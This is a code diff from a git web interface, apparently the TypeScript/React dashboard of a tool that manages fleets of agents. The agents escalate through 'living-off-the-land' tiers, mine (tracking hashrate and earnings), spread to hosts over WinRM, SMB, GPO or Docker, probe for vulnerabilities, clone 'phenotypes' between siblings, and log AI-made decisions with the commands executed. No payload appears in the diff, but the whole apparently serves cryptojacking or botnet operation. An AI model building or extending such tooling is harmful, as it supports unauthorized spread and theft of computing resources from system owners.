...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())),
|
||||||
];
|
];
|
||||||
|
|
||||||
return fullOrder.map((tier, i) => {
|
return fullOrder.map((tier, i) => {
|
||||||
const key = tier.toLowerCase();
|
const key = tier.toLowerCase();
|
||||||
|
const atlas = atlasByTier.get(key);
|
||||||
let status: OnionTierRow['status'] = 'neutral';
|
let status: OnionTierRow['status'] = 'neutral';
|
||||||
if (active && key === active) status = 'active';
|
if (active && key === active) status = 'active';
|
||||||
|
else if (atlas) status = 'skipped_by_atlas';
|
||||||
else if (skippedSet.has(key)) status = 'skipped';
|
else if (skippedSet.has(key)) status = 'skipped';
|
||||||
else if (okSet.has(key)) status = 'done';
|
else if (okSet.has(key)) status = 'done';
|
||||||
else if (failSet.has(key)) status = 'failed';
|
else if (failSet.has(key)) status = 'failed';
|
||||||
@@ -329,6 +387,7 @@ function buildOnionRows(
|
|||||||
tier,
|
tier,
|
||||||
label: formatLotlTierLabel(tier),
|
label: formatLotlTierLabel(tier),
|
||||||
status,
|
status,
|
||||||
|
atlasCondition: atlas?.condition,
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -367,6 +426,7 @@ export function buildAccessDepthModel(
|
|||||||
): AccessDepthModel {
|
): AccessDepthModel {
|
||||||
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
||||||
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
||||||
|
const atlasSkips = diagnostics?.atlas_skips ?? [];
|
||||||
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
||||||
const pending = computePendingTiers(order, skipped, attempts);
|
const pending = computePendingTiers(order, skipped, attempts);
|
||||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||||
@@ -402,7 +462,7 @@ export function buildAccessDepthModel(
|
|||||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||||
pendingTiers: pending,
|
pendingTiers: pending,
|
||||||
pendingLabels: pending.map(formatLotlTierLabel),
|
pendingLabels: pending.map(formatLotlTierLabel),
|
||||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
|
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
|
||||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||||
index: i + 1,
|
index: i + 1,
|
||||||
tier,
|
tier,
|
||||||
@@ -414,6 +474,9 @@ export function buildAccessDepthModel(
|
|||||||
adaptiveActive: source === 'adaptive',
|
adaptiveActive: source === 'adaptive',
|
||||||
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
||||||
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
||||||
|
atlasSkips,
|
||||||
|
phenotypeSource: agent.inherited_phenotype?.source_agent_name,
|
||||||
|
phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import {
|
|||||||
buildLotlTimelineModel,
|
buildLotlTimelineModel,
|
||||||
resolveLotlTierOrder,
|
resolveLotlTierOrder,
|
||||||
} from '../help/lotlTimeline';
|
} from '../help/lotlTimeline';
|
||||||
|
import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
|
||||||
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
|
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
|
||||||
import type { AIDecisionRecord } from '../types';
|
import type { AIDecisionRecord } from '../types';
|
||||||
import LotlFleetOverview from '../components/Lotl/LotlFleetOverview';
|
import LotlFleetOverview from '../components/Lotl/LotlFleetOverview';
|
||||||
@@ -19,7 +20,16 @@ export default function LotlTimelinePage() {
|
|||||||
const [searchParams, setSearchParams] = useSearchParams();
|
const [searchParams, setSearchParams] = useSearchParams();
|
||||||
const [tierOrder, setTierOrder] = useState<string[]>(() => resolveLotlTierOrder());
|
const [tierOrder, setTierOrder] = useState<string[]>(() => resolveLotlTierOrder());
|
||||||
const [aiControlEnabled, setAiControlEnabled] = useState(false);
|
const [aiControlEnabled, setAiControlEnabled] = useState(false);
|
||||||
const [lastDecision, setLastDecision] = useState<{ response?: string; commands?: string; ts?: string } | null>(null);
|
const [lastDecision, setLastDecision] = useState<{
|
||||||
|
response?: string;
|
||||||
|
commands?: string;
|
||||||
|
ts?: string;
|
||||||
|
court_session?: boolean;
|
||||||
|
prosecutor_snippet?: string;
|
||||||
|
defender_snippet?: string;
|
||||||
|
judge_verdict?: string;
|
||||||
|
} | null>(null);
|
||||||
|
const [clearanceEvents, setClearanceEvents] = useState<ClearanceEventRecord[]>([]);
|
||||||
|
|
||||||
const paramAgentId = searchParams.get('agent') ?? '';
|
const paramAgentId = searchParams.get('agent') ?? '';
|
||||||
|
|
||||||
@@ -60,6 +70,10 @@ export default function LotlTimelinePage() {
|
|||||||
response: row.response,
|
response: row.response,
|
||||||
commands: row.commands_executed,
|
commands: row.commands_executed,
|
||||||
ts: row.ts,
|
ts: row.ts,
|
||||||
|
court_session: row.court_session,
|
||||||
|
prosecutor_snippet: row.prosecutor_snippet,
|
||||||
|
defender_snippet: row.defender_snippet,
|
||||||
|
judge_verdict: row.judge_verdict,
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
setLastDecision(null);
|
setLastDecision(null);
|
||||||
@@ -73,6 +87,25 @@ export default function LotlTimelinePage() {
|
|||||||
};
|
};
|
||||||
}, [selectedAgent, aiControlEnabled]);
|
}, [selectedAgent, aiControlEnabled]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!selectedAgent) {
|
||||||
|
setClearanceEvents([]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let cancelled = false;
|
||||||
|
api
|
||||||
|
.getClearanceEvents(selectedAgent.id, 20)
|
||||||
|
.then((rows) => {
|
||||||
|
if (!cancelled) setClearanceEvents(rows ?? []);
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
if (!cancelled) setClearanceEvents([]);
|
||||||
|
});
|
||||||
|
return () => {
|
||||||
|
cancelled = true;
|
||||||
|
};
|
||||||
|
}, [selectedAgent]);
|
||||||
|
|
||||||
const selectAgent = useCallback(
|
const selectAgent = useCallback(
|
||||||
(agentId: string) => {
|
(agentId: string) => {
|
||||||
setSearchParams({ agent: agentId }, { replace: true });
|
setSearchParams({ agent: agentId }, { replace: true });
|
||||||
@@ -88,6 +121,8 @@ export default function LotlTimelinePage() {
|
|||||||
selectedAgent,
|
selectedAgent,
|
||||||
tierOrder,
|
tierOrder,
|
||||||
selectedAgent.lotl_attempts ?? [],
|
selectedAgent.lotl_attempts ?? [],
|
||||||
|
[],
|
||||||
|
selectedAgent.atlas_skips ?? [],
|
||||||
);
|
);
|
||||||
}, [selectedAgent, tierOrder]);
|
}, [selectedAgent, tierOrder]);
|
||||||
|
|
||||||
@@ -124,27 +159,81 @@ export default function LotlTimelinePage() {
|
|||||||
</div>
|
</div>
|
||||||
) : timelineModel ? (
|
) : timelineModel ? (
|
||||||
<>
|
<>
|
||||||
<LotlTierTimeline model={timelineModel} agentName={selectedAgent.name} />
|
<LotlTierTimeline
|
||||||
|
model={timelineModel}
|
||||||
|
agentName={selectedAgent.name}
|
||||||
|
clonedFrom={selectedAgent.inherited_phenotype?.source_agent_name}
|
||||||
|
/>
|
||||||
|
|
||||||
{aiEnabled && lastDecision && (
|
{clearanceEvents.length > 0 && (
|
||||||
<div className="lotl-ai-decision">
|
<div className="lotl-clearance-events">
|
||||||
<div className="lotl-ai-decision-label">LAST AI DECISION</div>
|
<div className="lotl-ai-decision-label">CLEARANCE HISTORY</div>
|
||||||
{lastDecision.response && (
|
<ul className="lotl-clearance-list">
|
||||||
<div style={{ color: 'var(--text-muted)' }}>{lastDecision.response}</div>
|
{clearanceEvents.map((ev) => (
|
||||||
)}
|
<li key={ev.id}>{clearanceTimelineSummary(ev)}</li>
|
||||||
{lastDecision.commands && (
|
))}
|
||||||
<div style={{ marginTop: '0.25rem', fontSize: '0.68rem', color: '#7dffaa' }}>
|
</ul>
|
||||||
{lastDecision.commands}
|
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{aiEnabled && lastDecision && (
|
||||||
|
<div className={`lotl-ai-decision${lastDecision.court_session ? ' lotl-ai-decision--court' : ''}`}>
|
||||||
|
<div className="lotl-ai-decision-label">
|
||||||
|
{lastDecision.court_session ? 'SINGULAR MACHINE COURT' : 'LAST AI DECISION'}
|
||||||
|
</div>
|
||||||
|
{lastDecision.court_session ? (
|
||||||
|
<>
|
||||||
|
{lastDecision.prosecutor_snippet && (
|
||||||
|
<div className="lotl-court-role">
|
||||||
|
<span className="lotl-court-role-label">Prosecutor</span>
|
||||||
|
<div className="lotl-court-role-text">{lastDecision.prosecutor_snippet}</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{lastDecision.defender_snippet && (
|
||||||
|
<div className="lotl-court-role">
|
||||||
|
<span className="lotl-court-role-label">Defender</span>
|
||||||
|
<div className="lotl-court-role-text">{lastDecision.defender_snippet}</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{(lastDecision.judge_verdict || lastDecision.response) && (
|
||||||
|
<div className="lotl-court-role">
|
||||||
|
<span className="lotl-court-role-label">Judge</span>
|
||||||
|
<div className="lotl-court-role-text">
|
||||||
|
{lastDecision.judge_verdict || lastDecision.response}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
lastDecision.response && (
|
||||||
|
<div style={{ color: 'var(--text-muted)' }}>{lastDecision.response}</div>
|
||||||
|
)
|
||||||
|
)}
|
||||||
|
{lastDecision.commands && (
|
||||||
|
<div className="lotl-ai-decision-commands">{lastDecision.commands}</div>
|
||||||
|
)}
|
||||||
{lastDecision.ts && (
|
{lastDecision.ts && (
|
||||||
<div style={{ marginTop: '0.25rem', fontSize: '0.65rem', color: 'var(--text-muted)' }}>
|
<div className="lotl-ai-decision-ts">
|
||||||
{new Date(lastDecision.ts).toLocaleString()}
|
{new Date(lastDecision.ts).toLocaleString()}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{clearanceEvents.length > 0 && (
|
||||||
|
<div className="lotl-clearance-timeline">
|
||||||
|
<div className="lotl-ai-decision-label">CLEARANCE EVENTS</div>
|
||||||
|
<ul className="lotl-clearance-event-list">
|
||||||
|
{clearanceEvents.map((ev) => (
|
||||||
|
<li key={ev.id} className="lotl-clearance-event-row">
|
||||||
|
<span className="lotl-clearance-event-summary">{clearanceTimelineSummary(ev)}</span>
|
||||||
|
<span className="lotl-clearance-event-ts">{new Date(ev.ts).toLocaleString()}</span>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
<p className="lotl-timeline-links">
|
<p className="lotl-timeline-links">
|
||||||
Data sources: Crucible →{' '}
|
Data sources: Crucible →{' '}
|
||||||
<Link to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}>Access Depth panel</Link>
|
<Link to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}>Access Depth panel</Link>
|
||||||
|
|||||||
@@ -98,12 +98,29 @@ export interface Agent {
|
|||||||
lotl_tier?: string;
|
lotl_tier?: string;
|
||||||
/** Per-tier attempt history from agent TierReport. */
|
/** Per-tier attempt history from agent TierReport. */
|
||||||
lotl_attempts?: import('./lotl').TierAttempt[];
|
lotl_attempts?: import('./lotl').TierAttempt[];
|
||||||
|
/** Fleet failure atlas hard subtree skips. */
|
||||||
|
atlas_skips?: { tier: string; condition: string; reason: string }[];
|
||||||
|
|
||||||
/** Read-only vuln probe findings (LOTL recon tier). */
|
/** Read-only vuln probe findings (LOTL recon tier). */
|
||||||
vuln_findings?: import('./recon').VulnFinding[];
|
vuln_findings?: import('./recon').VulnFinding[];
|
||||||
vuln_risk_score?: number;
|
vuln_risk_score?: number;
|
||||||
/** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */
|
/** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */
|
||||||
join_lane?: string;
|
join_lane?: string;
|
||||||
|
|
||||||
|
/** Session security clearance L0–L4 (live from server). */
|
||||||
|
clearance_level?: number;
|
||||||
|
|
||||||
|
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
|
||||||
|
inherited_phenotype?: InheritedPhenotype;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface InheritedPhenotype {
|
||||||
|
source_agent_name: string;
|
||||||
|
fingerprint?: string;
|
||||||
|
spread_lane?: string;
|
||||||
|
tier_order?: string[];
|
||||||
|
active_tier?: string;
|
||||||
|
peak_hashrate?: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
export type { LOTLTier, TierAttempt, TierReport } from './lotl';
|
export type { LOTLTier, TierAttempt, TierReport } from './lotl';
|
||||||
@@ -444,6 +461,10 @@ export interface AIDecisionRecord {
|
|||||||
response?: string;
|
response?: string;
|
||||||
commands_executed?: string;
|
commands_executed?: string;
|
||||||
ts?: string;
|
ts?: string;
|
||||||
|
court_session?: boolean;
|
||||||
|
prosecutor_snippet?: string;
|
||||||
|
defender_snippet?: string;
|
||||||
|
judge_verdict?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface EarningsEstimate {
|
export interface EarningsEstimate {
|
||||||
|
|||||||
Reference in New Issue
Block a user